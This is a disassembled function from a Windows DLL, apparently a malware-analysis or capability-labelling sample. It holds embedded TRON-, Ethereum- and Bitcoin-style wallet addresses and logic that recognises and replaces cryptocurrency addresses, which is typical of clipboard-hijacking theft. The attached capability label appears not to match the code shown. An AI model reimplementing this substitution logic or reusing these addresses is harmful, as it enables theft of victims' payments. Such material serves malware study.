Function at 0x10002fa0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x10020dde
mov eax, dword fs:[0]
push eax
sub esp, 0xa0
mov eax, dword [0x10029080]
xor eax, esp
mov dword [esp + 0x98], eax
push ebx
push esi
push edi
mov eax, dword [0x10029080]
xor eax, esp
push eax
lea eax, [esp + 0xb0]
mov dword fs:[0], eax
lea ecx, [esp + 0x48]
call fcn.10002e20
xor esi, esi
mov dword [esp + 0xb8], esi
lea ebx, [esi + 0x10]
cmp dword [esp + 0x58], esi
je 0x1000342c
cmp dword [0x1002a688], esi
je 0x1000303a
mov ecx, dword [0x1002a678]
cmp dword [0x1002a68c], ebx
jae 0x1000301a
mov ecx, 0x1002a678
mov eax, dword [esp + 0x48]
cmp dword [esp + 0x5c], ebx
jae 0x10003028
lea eax, [esp + 0x48]
push ecx
push eax
call fcn.1000bcf0
add esp, 8
test eax, eax
jne 0x1000342c
mov eax, dword [str._____n.__]
mov ecx, dword [0x10025490]
mov dx, word [0x10025494]
push 0xffffffffffffffff
mov dword [esp + 0xa0], eax
push esi
lea eax, [esp + 0x50]
mov dword [esp + 0xa8], ecx
mov edi, 0xf
push eax
lea ecx, [esp + 0x70]
mov word [esp + 0xb0], dx
mov dword [esp + 0x84], edi
mov dword [esp + 0x80], esi
mov byte [esp + 0x70], 0
call fcn.10001340
push 0xffffffffffffffff
push esi
lea ecx, [esp + 0x50]
push ecx
mov ecx, 0x1002a694
mov byte [esp + 0xc4], 1
call fcn.10001340
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], esi
sub esp, 0x1c
mov byte [esp + 0xd4], 2
mov ecx, esp
mov dword [ecx + 0x14], edi
lea eax, [esp + 0xb8]
mov dword [ecx + 0x10], esi
mov dword [esp + 0x34], esp
mov byte [ecx], 0
lea edi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100030d5
sub eax, edi
push eax
lea edx, [esp + 0xbc]
push edx
call fcn.10001240
mov eax, dword [esp + 0x80]
cmp dword [esp + 0x94], ebx
jae 0x10003103
lea eax, [esp + 0x80]
push eax
lea eax, [esp + 0x3c]
push eax
call fcn.1000b490
mov ebx, dword [esp + 0x44]
mov esi, dword [esp + 0x40]
mov ecx, ebx
sub ecx, esi
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add esp, 0x24
add ecx, edx
jne 0x10003147
lea ecx, [esp + 0x48]
lea edi, [esp + 0x1c]
call fcn.100044e0
mov ebx, dword [esp + 0x20]
mov esi, dword [esp + 0x1c]
mov eax, esi
mov byte [esp + 0x17], 0
mov dword [esp + 0x18], eax
cmp esi, ebx
je 0x100033b0
push 0xffffffffffffffff
push 0
push eax
lea ecx, [esp + 0x38]
mov dword [esp + 0x4c], 0xf
mov dword [esp + 0x48], 0
mov byte [esp + 0x38], 0
call fcn.10001340
mov byte [esp + 0xb8], 3
mov ebx, dword [esp + 0x3c]
test ebx, ebx
je 0x10003335
mov eax, str.TSofP6rWk1RrPWT85Dc8acX1e3LV9Pthwm
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100031a0
sub eax, edx
mov edi, eax
mov eax, ebx
cmp ebx, edi
jb 0x100031b3
mov eax, edi
mov esi, dword [esp + 0x40]
mov edx, dword [esp + 0x2c]
cmp esi, 0x10
jae 0x100031c4
lea edx, [esp + 0x2c]
mov ecx, str.TSofP6rWk1RrPWT85Dc8acX1e3LV9Pthwm
call fcn.10002b30
test eax, eax
jne 0x100031e4
cmp ebx, edi
jae 0x100031db
or eax, 0xffffffff
jmp 0x100031e2
xor eax, eax
cmp ebx, edi
setne al
test eax, eax
sete al
test al, al
jne 0x10003339
mov eax, str.0x02E528B1F8BF5647C191bEd19d011dC460384d59
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100031f7
sub eax, edx
mov edi, eax
mov eax, ebx
cmp ebx, edi
jb 0x1000320a
mov eax, edi
mov edx, dword [esp + 0x2c]
cmp esi, 0x10
jae 0x10003217
lea edx, [esp + 0x2c]
mov ecx, str.0x02E528B1F8BF5647C191bEd19d011dC460384d59
call fcn.10002b30
test eax, eax
jne 0x10003237
cmp ebx, edi
jae 0x1000322e
or eax, 0xffffffff
jmp 0x10003235
xor eax, eax
cmp ebx, edi
setne al
test eax, eax
sete al
test al, al
jne 0x10003339
mov ecx, str.155Jq5pu3245d4418M19YnRvau7Rc14hVB
lea edi, [esp + 0x2c]
call fcn.10005120
test al, al
jne 0x10003335
mov edx, edi
push edx
call fcn.10001f30
add esp, 4
test al, al
je 0x1000328a
push str.155Jq5pu3245d4418M19YnRvau7Rc14hVB
lea ecx, [esp + 0x84]
call fcn.100011d0
lea eax, [esp + 0x80]
mov byte [esp + 0xb8], 4
push eax
jmp 0x100032fe
cmp dword [esp + 0x3c], 0x2a
jne 0x100032c5
lea ecx, [esp + 0x2c]
push ecx
call fcn.100026d0
add esp, 4
test al, al
je 0x100032c5
push str.0x02E528B1F8BF5647C191bEd19d011dC460384d59
lea ecx, [esp + 0x84]
call fcn.100011d0
lea edx, [esp + 0x80]
mov byte [esp + 0xb8], 5
push edx
jmp 0x100032fe
cmp dword [esp + 0x3c], 0x22
jne 0x1000331f
lea eax, [esp + 0x2c]
push eax
call fcn.10002300
add esp, 4
test al, al
je 0x1000331f
push str.TSofP6rWk1RrPWT85Dc8acX1e3LV9Pthwm
lea ecx, [esp + 0x84]
call fcn.100011d0
lea ecx, [esp + 0x80]
mov byte [esp + 0xb8], 6
push ecx
lea ebx, [esp + 0x30]
lea eax, [esp + 0x4c]
call fcn.1000b430
add esp, 4
lea ecx, [esp + 0x80]
call fcn.10001210
mov byte [esp + 0x17], 1
mov byte [esp + 0xb8], 2
cmp dword [esp + 0x40], 0x10
jb 0x10003353
mov edx, dword [esp + 0x2c]
push edx
jmp 0x1000334b
mov esi, dword [esp + 0x40]
mov byte [esp + 0xb8], 2
cmp esi, 0x10
jb 0x10003353
mov eax, dword [esp + 0x2c]
push eax
call fcn.1000c83b
add esp, 4
mov eax, dword [esp + 0x18]
add eax, 0x1c
mov dword [esp + 0x18], eax
cmp eax, dword [esp + 0x20]
jne 0x1000315a
cmp byte [esp + 0x17], 0
je 0x100033a8
lea eax, [esp + 0x48]
call fcn.10002f20
cmp byte [0x1002a5bb], 0
je 0x1000338a
cmp byte [0x1002a58f], 0
jne 0x100033a8
push 1
push 0x1002b8a4
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
test eax, eax
jne 0x100033a8
mov ecx, dword [0x1002b8f4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov esi, dword [esp + 0x1c]
mov ebx, dword [esp + 0x20]
test esi, esi
je 0x100033f2
mov edi, esi
cmp esi, ebx
je 0x100033e9
lea ebx, [ebx]
cmp dword [edi + 0x14], 0x10
jb 0x100033d1
mov edx, dword [edi]
push edx
call fcn.1000c83b
add esp, 4
mov dword [edi + 0x14], 0xf
mov dword [edi + 0x10], 0
mov byte [edi], 0
add edi, 0x1c
cmp edi, ebx
jne 0x100033c0
push esi
call fcn.1000c83b
add esp, 4
mov esi, 0x10
cmp dword [esp + 0x78], esi
jb 0x1000340a
mov eax, dword [esp + 0x64]
push eax
call fcn.1000c83b
add esp, 4
mov dword [esp + 0x78], 0xf
mov dword [esp + 0x74], 0
mov byte [esp + 0x64], 0
cmp dword [esp + 0x5c], esi
jb 0x1000343f
mov ecx, dword [esp + 0x48]
push ecx
jmp 0x10003437
cmp dword [esp + 0x5c], ebx
jb 0x1000343f
mov edx, dword [esp + 0x48]
push edx
call fcn.1000c83b
add esp, 4
mov ecx, dword [esp + 0xb0]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x98]
xor ecx, esp
call fcn.1000bc1d
mov esp, ebp
pop ebp
ret